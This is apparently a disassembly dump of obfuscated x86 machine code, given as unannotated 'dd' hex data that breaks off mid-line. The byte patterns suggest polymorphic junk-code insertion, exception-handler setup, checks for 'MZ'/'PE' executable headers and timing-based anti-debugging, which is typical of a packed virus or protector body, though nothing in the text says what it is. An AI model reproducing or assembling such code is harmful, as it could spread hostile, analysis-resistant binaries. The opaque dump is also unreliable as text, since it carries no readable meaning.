0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 9FB4662Bh dd 901315CBh, 0B5958BE4h, 5006072Bh, 7E8h, 0B8F37400h dd 254D6F84h, 895912B5h, 12E82404h, 8B000000h, 4053568Ah dd 9B64C947h, 5D1A2F4Ah, 3CB2D88h, 159D89C4h, 5A06070Ch dd 0BE195FFh, 2B600607h, 7073585h, 498D8B06h, 6106070Ch dd 850FC00Bh, 56h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 0F4C35040h, 0D7A3AA0Ah, 0CE4CCFFAh, 7B5BD03h dd 0BD230607h, 60702D9h, 7AAE9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 224FCE1Ch dd 0D0FF419Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 16C35141h, 7D54C957h, 51FB315Eh, 65DB589h, 8B5A0607h dd 0B1B64B5h, 97BAB906h, 468D2975h, 5CD18120h, 6A2009EEh dd 0D3BF0F04h, 50D3B290h, 2800Fh, 0D48A0000h, 57006A90h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 1EF51E9Eh, 1B7495FFh, 6A060Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 805964C3h, 56DD38F4h dd 1FE1B589h, 0B5F0607h, 0A840FC0h, 66000000h, 0D8E9FA8Bh dd 0B2000006h, 207E80BEh, 0CC840F00h, 29000006h, 726D5BDh dd 14E86006h, 34000000h, 934C9F7h, 7BB38C31h, 236C5E9Eh dd 5A4ADC03h, 9A67541h, 71009B5h, 8D015E06h, 60726B1h dd 6A6061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 958BB1C3h, 6071425h, 8DF9BF0Fh, 6A2046h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0CA79E3C3h, 0B6024CE3h, 88BF66BEh, 6085895Ch, 0F5060B1Bh dd 163E9h, 8BCE8B00h, 713E1BDh, 6A4006h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 7D573AC3h dd 1CDCDDEFh, 0F181661Bh, 5250DB28h, 2404895Ah, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 65C35343h, 0AE9B4h dd 0B5730000h, 0B6417D69h, 934CE2F3h, 198B0Fh, 14E90000h dd 0C2000000h, 0F6110EACh, 28B887AAh, 0C010981Bh, 250CB52Ch dd 6A34A1E4h, 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 618B3DBh, 80D4ACB0h, 5257E6D9h, 0CE8h dd 0A0A99700h, 357A6A53h, 0ECD01A98h, 5A59595Fh, 2B6D8D8Bh dd 0F900607h, 582h, 5DBBBF00h, 50503B9Eh, 9E952h, 2E530000h dd 0F8005639h, 0F2C53E2h, 0CA8B6631h, 6A90585Ah, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 0A6E2C351h, 0D5467E64h, 1B7495FFh, 6A060Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0B116C1C3h, 2D218D8Bh, 0D88B0607h, 889958Bh, 0B6580607h dd 0FDB0B95h, 1B84h, 0FAB70F00h, 4F2E9h, 8E800h, 4EA30000h dd 0D88652D5h, 81669B2Dh, 5F2529D9h, 0F003880h, 0FFFE9C85h dd 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 224E067Eh, 7EA564E3h, 8589F595h, 6071F19h dd 3BE9h, 0D1B58900h, 0E906070Fh, 7, 644DFC68h, 48F3BB9Fh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 1EC35343h dd 0F21FB76h, 38Dh, 0CFB70F00h, 1B60853Bh, 820F060Bh, 62h dd 8097DA80h, 3880BCE1h, 53840F5Ch, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0FA46C350h, 11E8h, 0B49F5700h, 0AA1E2C6h, 0CEDF62F5h dd 41AE488h, 0BD09BC97h, 60700A1h, 2F388059h, 0FF79850Fh dd 0BE9FFFFh, 7E000000h, 0ACA2F840h, 46B76AEEh, 0F405E8Ch dd 68Dh, 1BD8B00h, 83060731h, 0B1B68BDh, 840F0006h, 169h dd 0FCBB70Fh, 0C84h, 7E900h, 72960000h, 8F4FD11Ch, 0B96650B2h dd 48960A9h, 60F58A24h, 61F08B66h, 1B688503h, 6A060Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 59ED84C3h, 5D5DA15Fh, 89D78B50h, 0CE92404h, 74000000h dd 0B9F94176h, 554254A8h, 0BF4A08ADh, 75CD59C5h, 6A046Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0CC8244C3h, 13E958FDh, 96000000h, 6255C966h, 9E657Fh dd 3B4A3F70h, 1C0BEE8Fh, 0AE83538h, 2F000000h, 0AE0F928Fh dd 56411DECh, 0A0BF6618h, 0BF50597Eh, 760DE426h, 6A240489h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0FF1CC355h, 0BF6800Ch, 1BC18529h, 0BF660607h dd 95FFC01Ch, 60B1B74h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 0FFC35747h, 0F8407E56h, 6AEEACA2h, 5E9h dd 0B0B8BF00h, 0BD8B4FAEh, 6070A59h, 8D8BD88Bh, 6070561h dd 8B665158h, 0DB0B5FCBh, 19840Fh, 9D890000h, 6070C7Dh dd 29EE9h, 88A0F00h, 53000000h, 1AFD9D31h, 0C65F0607h dd 0AE90000h, 0AD000000h, 0C6F53628h, 4BBD0001h, 0CA8058A2h dd 52505022h, 310FD78Bh, 8F0F5250h, 0 dd 0FB1310Fh, 585A585Ah, 6A240489h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 2BA0C356h dd 0F124B966h, 8D0B1E6Ah, 60730B9h, 830F5090h, 2, 509063B1h dd 0FFFB8B59h, 0B1B7495h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0E5D8CE2Fh dd 0CD9D29F2h, 60060701h, 0F02EF81h, 0E6802F24h, 0D88B611Bh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0CFC35747h dd 12890F93h, 60000000h, 25F59501h, 5E90607h, 1F000000h dd 0E53226E6h, 6A5861h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0E70F41C3h, 0F486C660h, 9B5199BFh dd 0B5850965h, 0B060713h, 29840FDBh, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 9C5FC355h, 7349FF7Fh, 5CE9F8A9h, 0F8000001h, 0FB8B6690h dd 0EE950h, 5D7C0000h, 5720EFCAh, 2C4032A3h, 319F3A35h dd 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 0F880AD1Dh, 0B11F0462h, 54B5FF14h, 81060B1Bh dd 552F95E9h, 45B9660Bh, 5895FFD2h, 0B060B1Bh, 84850FC0h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0AB93C355h, 0DBDEA94Dh, 41BD8B7Ch dd 61060701h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 42C35141h, 80F4B7A8h, 85C786EAh, 60B1B5Ch, 1, 5119D89h dd 0A0E90607h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 6D4C356h, 81B50134h dd 61060727h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 3C35747h, 62C63490h, 0F90C492h, 0E98D8BBCh, 8106072Ch dd 11CC6h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 23410055h, 0D3E997C6h, 6AFFFFF8h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 93D1C356h, 9B2E05A2h, 68A10944h, 0C5BB2028h dd 4C50BA66h, 0D8240481h, 8A3A455Fh, 0E9006AEBh, 0Ah, 1F97DD20h dd 0E5C1ABA7h, 8B664D91h, 64B5FFD1h, 6A060B1Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0EA3CC350h, 95FFC88Bh, 6072B85h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 46C35141h, 6F4236FFh, 6890Fh dd 95330000h, 60700D5h, 1B5C858Bh, 0B589060Bh, 6071EE5h dd 0D08B6650h, 6A240489h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0B3C4C351h, 28398589h dd 9EBF0607h, 8D6A30D4h, 0B1B6C85h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 3B3B4FAh, 50F439ACh dd 0DE9h, 211CA200h, 4FED4B2h, 1D6A4CABh, 489913Fh, 0FE924h dd 5AAB0000h, 0BC4C05B8h, 0F9B2446Eh, 0D6CA0A14h, 29858D62h dd 8B060B1Bh, 7286195h, 8B669006h, 0E95250D1h, 0Ah, 0B46C8967h dd 45D1725Dh, 9059C363h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 67C35040h, 0CF96D910h, 95FF9AA8h, 60701FDh dd 1F518D8Bh, 0C08B0607h, 198509h, 0BD830607h, 6070FF5h dd 83097500h, 73001BDh, 13740006h, 0C08B5350h, 4D0B8h dd 0E29D8D00h, 0FF0609AAh, 83585BD3h, 73001BDh, 11740006h dd 0D0B85350h, 8D000004h, 9A9E19Dh, 5BD3FF06h, 61858958h dd 0E9060702h, 6, 119DA59Dh, 0C08B3BABh, 13E9h, 12A9A900h dd 54FB5BAAh, 0C663337h, 0D0A030ACh, 1E42FF32h, 50006A58h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 8E9F518Eh, 299D8970h, 0C206071Fh, 6A0008h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 60EAC2C3h dd 25F5B589h, 0BD8B0607h, 6071A85h, 0CE961h, 3C460000h dd 0E072EF9h, 0B4B7E8BAh, 81663E3Eh, 8B43A2EAh, 0A58D8BC0h dd 8D060705h, 0B1B8C85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 0ADA4327Fh, 1351BA61h dd 5860Fh, 0CDBA0000h, 0B201750Bh, 3D858915h, 0BA060713h dd 0F008F000h, 0EA81h, 0C283F000h, 85958914h, 83060716h dd 858D14EAh, 60B2F73h, 35FF6450h, 0 dd 258964h, 0E8000000h, 0 db 'X+%',0 db 0F0h, 2 dup(0FFh) dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h dd 0F000045h, 0A84h, 10002D00h, 0D9E90000h, 8BFFFFFFh dd 98589C8h, 3060714h, 0B70F3C40h, 95890650h, 6073181h dd 8950508Bh, 7222595h, 0F80506h, 508B0000h, 89D1030Ch dd 727D595h, 8500306h, 0E819589h, 8F640607h, 5, 4C48300h dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h dd 217DBD83h, 0F000607h, 2484h, 585C600h, 4706072Ch, 9AA7D268h dd 0ADB5FFD4h, 8D060731h, 0A7B1F85h, 6AD0FF06h, 89D0FF00h dd 70E3585h, 0E8D38B06h, 0Bh, 50418FB4h, 0D9F3C37Ah, 0E9C335A7h dd 13h, 0C606C6E0h, 612B0D5Ch, 80E62188h, 9C518D3Bh, 5ED74FA9h dd 816AD780h, 73C3C6h, 87B0B800h, 0D23373B3h, 0DD8A6060h dd 850Fh, 66610000h, 614E06BBh, 80163C8Bh, 0F781E9E9h dd 2545D3h, 67099CB8h, 0A8F7815Ah, 0F97DE27Ah, 0CFFEF781h dd 0BF0F35E4h, 0CE8B57C0h, 8B16048Fh, 17D880C1h, 6219EA81h dd 0B8530EE8h, 18AABAA3h, 15C2815Bh, 660EE862h, 810F17BBh dd 0FF8CDCFAh, 0B1850FFFh, 0E8FFFFFFh, 7, 0B5030ABFh, 60BA95F9h dd 605861F8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 9FC35545h, 14547AA3h, 6AC08Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0DC9CEC3h dd 42004036h, 0B70FD849h, 11B529C8h, 83060720h, 70FF5BDh dd 9750006h, 3001BD83h, 74000607h, 8B535019h, 438B8C0h dd 85890000h, 60709D5h, 0ACA79D8Dh, 0D3FF0609h, 0BD83585Bh dd 6073001h, 50177400h, 438B853h, 85890000h, 60709D5h dd 0A9969D8Dh, 0D3FF0609h, 6A585Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 789A83C3h dd 6A116Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 9A8C42C3h, 6F0FD98Bh, 1D8D8BEEh, 8B060732h dd 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0EC0E61B9h, 61B58B7Dh, 0E8060726h, 82Eh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 69C35040h dd 0AA53E051h, 66BFA3D2h, 19D981h, 1F198D89h, 85890607h dd 6070B75h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 1FC35747h, 32518589h, 0D3E80607h, 6A000007h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0CC4EC357h, 89257249h, 702C985h, 0C9858906h, 0F060721h dd 68Eh, 0C19D8900h, 0E8060706h, 796h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 0C2C35040h, 0E991C95Ah, 0DED5A203h dd 298D892Fh, 89060700h, 7065985h, 5FE8F506h, 89000007h dd 711C585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 738E828h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 113E31C3h dd 21858946h, 6A060732h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 7C8EC355h, 67BF6660h dd 0EE9FFh, 15BB0000h, 0CD4D0743h, 0E0D719BCh, 65C4AD99h dd 5830F61h, 0BF000000h, 4FF092EAh, 5E9B529h, 0C7E80607h dd 6A000006h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0E989C353h, 6, 0E1E63042h, 0B58B870Fh dd 60711DDh, 0C918589h, 0BF0F0607h, 68CE8CEh, 85890000h dd 60732C5h, 26498D8Bh, 7BE80607h, 52000006h, 61F9F960h dd 11858959h, 6606070Ch, 0E84508B9h, 666h, 6800Fh, 0B5030000h dd 6072CCDh, 157D8589h, 95010607h, 60705E5h, 1E5D8589h dd 43E80607h, 0F000006h, 8E9CBB7h, 0D4000000h, 0E0BD3F19h dd 89318C0Fh, 705A185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 909A6B59h, 0D6BBD405h dd 8589ACB1h, 6070E91h, 5FDE8h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 1585899Fh dd 0E8060715h, 5D6h, 8E9h, 7D782300h, 9F53C31Ah, 0E5858990h dd 66060711h, 0BBE8FE8Bh, 6A000005h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 45C8C350h dd 3C9C6EA4h, 0E8F9D56Fh, 0Bh, 0DE1F3816h, 19EE0DF1h, 8931BA41h dd 708798Dh, 85895906h, 6071B45h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 68C35141h, 0F8893B3Ch, 78DBD03h dd 4FE80607h, 89000005h, 7139D85h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 9B2E05A2h dd 0E7A10944h, 521E8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 8E0FD94Fh, 6, 11F99509h dd 89F90607h, 72ABD85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 1503AA6Ah, 0F3275EFBh dd 870Fh, 0C3E80000h, 6A000004h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0C6CBC356h, 0DF8F920Fh dd 0F694095h, 68Dh, 0DDB58900h, 8906072Dh, 708B99Dh, 99858906h dd 6A060703h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 9371C355h, 0B002EA42h, 0BD8D8900h dd 8B060720h, 72759BDh, 0D8B60F06h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 0C8C35747h, 0F38B66D4h, 0EE9h dd 4FF25200h, 1C7B9926h, 66629288h, 0BA33D49Dh, 6, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 7CC35040h, 932BC7A4h dd 0C38B9F7Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 9CC35242h, 9B1260F3h, 0CBF8FF68h, 0B37EB96Ch, 0E8C10093h dd 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 109AEBA3h, 2F5EF352h, 25BD8B2Eh, 66060710h dd 0E180E2F7h, 6AD82BA6h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 9ADDC355h, 921E0552h dd 9385C580h, 6E8h, 0A65C7100h, 66282B0Eh, 59E7ACB9h, 5840F50h dd 0BE000000h, 483E0601h, 53006A93h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 8353277Eh dd 1BAABE66h, 135195FFh, 810F0607h, 14h, 0FE9h, 0F505D300h dd 878DE953h, 0FB143895h, 3E792F3Fh, 52006A5Bh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0A32B775Dh dd 0B70F5BA6h, 0D9958DCAh, 6A060705h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0E279C353h dd 0CE81BECAh, 37535416h, 870F1A89h, 5, 0E9C78166h, 44289E9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0CFC35040h dd 158DF681h, 958D38F9h, 607263Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0FC35646h, 2B665A31h, 72D39BDh dd 6A1A8906h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 0BF07C350h, 0BBF471E9h, 0D92B85B6h dd 20D1B501h, 0D7810607h, 4C9E4670h, 6A044289h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 9C41C351h, 958D35B9h, 607172Dh, 0E3D68166h, 6A1A89E2h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 15FCC357h, 0F58D709Eh, 4289F38Bh, 57006A04h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 49958DBEh, 6A06070Ah, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 9998C353h, 4C1E57B5h dd 0D99D896Fh, 8906072Bh, 53006A1Ah, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 824B5D2Fh dd 6A044289h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 8D73C356h, 7302995h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 890F8C89h, 6, 0B038CE81h, 1A892C4Dh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 15h, 26C35242h, 4428941h dd 0AFD8D0Bh, 0B58B0607h, 6072181h, 197D958Dh, 1A890607h dd 44289F9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 92C35545h, 0BE94D8Eh, 2000000h, 4B13F658h, 931CD428h dd 958DFB5Fh, 6072165h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 7CC35545h, 0FA196909h, 565E08B1h, 363FB9CFh dd 1A896243h, 6860Fh, 0BD890000h, 6070539h, 6A044289h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0D3CAC357h, 9D09F505h, 6071D09h, 4F1958Dh dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 8119DBC3h, 86793EDEh, 6A1A890Dh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0A36DC351h, 312039C0h, 95C1BB05h, 0E9044289h, 0D0h dd 6A48B1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 90C35141h, 0E1BD89FEh, 6A060712h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 6AD1F8A5h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 2B8AFE62h, 8D9589D4h, 6A060719h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 0FB6B60Ah, 98Ah, 38E0F00h, 80000000h, 95FF21C5h dd 6071379h, 1F818589h, 6AC30607h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 80C8C352h dd 0D181204Dh, 45BA216Ch, 0C08BC58Ah, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 0BC35747h, 65C88403h, 83FDD031h dd 70FF5BDh, 9750006h, 3001BD83h, 74000607h, 8B535019h dd 438B8C0h, 85890000h, 607265Dh, 0AD0E9D8Dh, 0D3FF0609h dd 0BD83585Bh, 6073001h, 50177400h, 438B853h, 85890000h dd 607265Dh, 0A9AF9D8Dh, 0D3FF0609h, 8166585Bh, 8B9FE3C7h dd 85858DC0h, 6A060707h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 1C52C353h, 0FE81BAB1h dd 0B2E94E2Fh, 5083C380h, 48932B3h, 0BD01F924h, 6070BEDh dd 83BB006Ah, 6A7DBA8Bh, 0FE86000h, 8E000000h, 0B1EFC155h dd 895680EBh, 1638278Dh, 8D89EACAh, 6070061h, 798D295Bh dd 61060709h, 248D9D89h, 858D0607h, 60B3D00h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 8AC35747h, 193BACE5h dd 0CB2B9FD4h, 5445E381h, 0C0837A92h, 90FE8A05h, 6BB1BB66h dd 0DA8B5250h, 6A905Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 481EBBC3h, 6A9B3Ch, 7E9h, 0FFF41500h dd 3A827294h, 0B70F006Ah, 0C195FFFAh, 6A060704h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 822DC356h, 66C935Bh, 0AF66549Ch, 0BE8h, 2E5AE900h, 22CD0322h dd 0B578AB60h, 0A1EB8166h, 8D8D5BEEh, 60AA64Fh, 2000BB66h dd 0E950D1FFh, 0Ah, 1A83FA23h, 45048049h, 835B2438h, 7218DBDh dd 850F0106h, 0CEh, 13E9026Ah, 0BD000000h, 62E3A099h, 0A6DE7A4Dh dd 9424068h, 4B6A8AE7h, 0BE84721h, 0D3000000h, 983BF21h dd 5F940A66h, 9D896B72h, 6070BD5h, 13E9905Fh, 12000000h dd 0A74BE0D9h, 890EB4C7h, 0EC67A255h, 9D39F7A4h, 6050F2DDh dd 0DE8h, 97880700h, 0D5459E0h, 0C1338813h, 52508EDDh dd 585A310Fh, 0AE95Fh, 54470000h, 0E2AF2B23h, 5C276170h dd 6A9061h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0EB6B18C3h, 9D8B20C2h, 6071B29h, 1AF995FFh dd 0AE80607h, 4A000000h, 2607D6E9h, 0A965AC1h, 0DD8D8924h dd 5F06071Bh, 11E9h, 0F0137500h, 8DDFF79Ah, 5BE270ADh dd 813898B3h, 8AE90ACCh, 0E800000Eh, 0 dd 0AED815Dh, 6A060B3Dh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 8748C353h, 95091EE6h dd 6070B6Dh, 9108858Dh, 8B90060Ah, 820F50FAh, 3, 90DA8B66h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 22C35747h dd 35FF64D8h, 0 aKikmdi db 'KMd%',0 align 4 dd 4D59D8Bh, 85FF0607h, 60732F1h, 6AFEBF0Fh, 55006AFFh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0FFD6B319h, 70B75B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0A3EE17FDh, 89BBDCFBh dd 0FF232AB3h, 71AC995h, 125E906h, 81660000h, 0B06405D7h dd 11890F00h, 0E8000000h, 5, 6D072350h, 830F59h, 5F000000h dd 0BBBB70E6h, 0E44AEE3Bh, 41B52971h, 3C06072Dh, 0F0830F61h dd 8B000000h, 0C8B60FFAh, 0BAF98B66h, 6, 3519D31h, 0C18B0607h dd 12CD9589h, 0E8C10607h, 5830F04h, 0BB000000h, 482252C4h dd 0E8E2F766h, 13h, 9B1E8C86h, 91FF1754h, 2A928047h, 0A672B00Ch dd 0E9E6A774h, 0Fh, 0FE1CD14Bh, 1B8BEC9Ch, 536650DDh, 5B2D8FD0h dd 0F98BC82Bh, 0BD89D18Bh, 60709DDh, 6E9h, 51BD8B00h, 8B060702h dd 705D985h, 0D5958906h, 83060716h, 8B5007C0h, 700C19Dh dd 0C0835B06h, 8E900h, 6F0A0000h, 3DF0ECB3h, 0D03B1D29h dd 0F830Fh, 0BB660000h, 48E9E1FBh, 89000000h, 70AC98Dh dd 0C18D8B06h, 60060715h, 0D365D4B9h, 0ADBD2303h, 61060732h dd 0F01E183h, 2684h, 1B58900h, 83060701h, 715C1A5h, 0D2B7FE06h dd 0E859D89h, 95890607h, 60705D9h, 0C99BD8Bh, 0E90607h dd 8D000000h, 0ABD07B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0FC3FD22Eh, 2CB086FAh dd 6880F85h, 33000000h, 716D9BDh, 8B006A06h, 0B595FFF8h dd 0E9060716h, 10h, 7D6D439Bh, 0C2EE143Dh, 38E39645h, 0E1405D22h dd 4820Fh, 0BB660000h, 0C3B90A60h, 6A000006h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 5DDC352h, 1630129Fh, 899A1092h, 72C658Dh, 0FCE18306h dd 3840Fh, 0BF0F0000h, 0FE8FCFFh, 62000000h, 0E39E064Eh dd 7F3979C0h, 289BD2B2h, 43BB5F84h, 5F0E97EDh, 0B8h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 0B3FFA733h, 0F9D22BAEh, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 6D952B60h, 89060703h, 70789B5h, 6A6106h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 1FC1E5C3h dd 832AD321h, 0B5BD8B4Ah, 8106071Bh, 0CAEB02C7h, 880D6Dh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 1D0418C3h, 0DEAAE7E9h, 79958B16h, 6A060706h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 9F48C356h, 3864987Fh, 30999D0Bh, 0C7800607h dd 0E58D8BF1h, 0F06072Ch, 68Ch, 71B53100h, 50060704h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0B8E31673h dd 0BB097B14h, 604BC973h, 0DE8h, 369C300h, 88FA0622h, 0C7C2D010h dd 0BD8B6729h, 607017Dh, 56006A5Bh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 18C7FF3h, 0DF80828Eh dd 0E5BD8363h, 60710h, 50840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 860F99C3h dd 6, 69BD8Bh, 9D330607h, 6070231h, 0B8h, 1C8D8D00h, 8A06074Eh dd 0AE9FAh, 12EC0000h, 3CC75F8Fh, 0C2CC59E8h, 0BB66E1FFh dd 0BD83901Ch, 6072D05h, 0D0840F00h, 29000004h, 72881BDh dd 5BD8306h, 106072Dh, 4D8840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 56E3FC3h dd 0B70FCF62h, 5BD83DBh, 306072Dh, 472860Fh, 8A0F0000h dd 0 dd 51006A60h, 3E8h, 0C3592000h, 244C8959h, 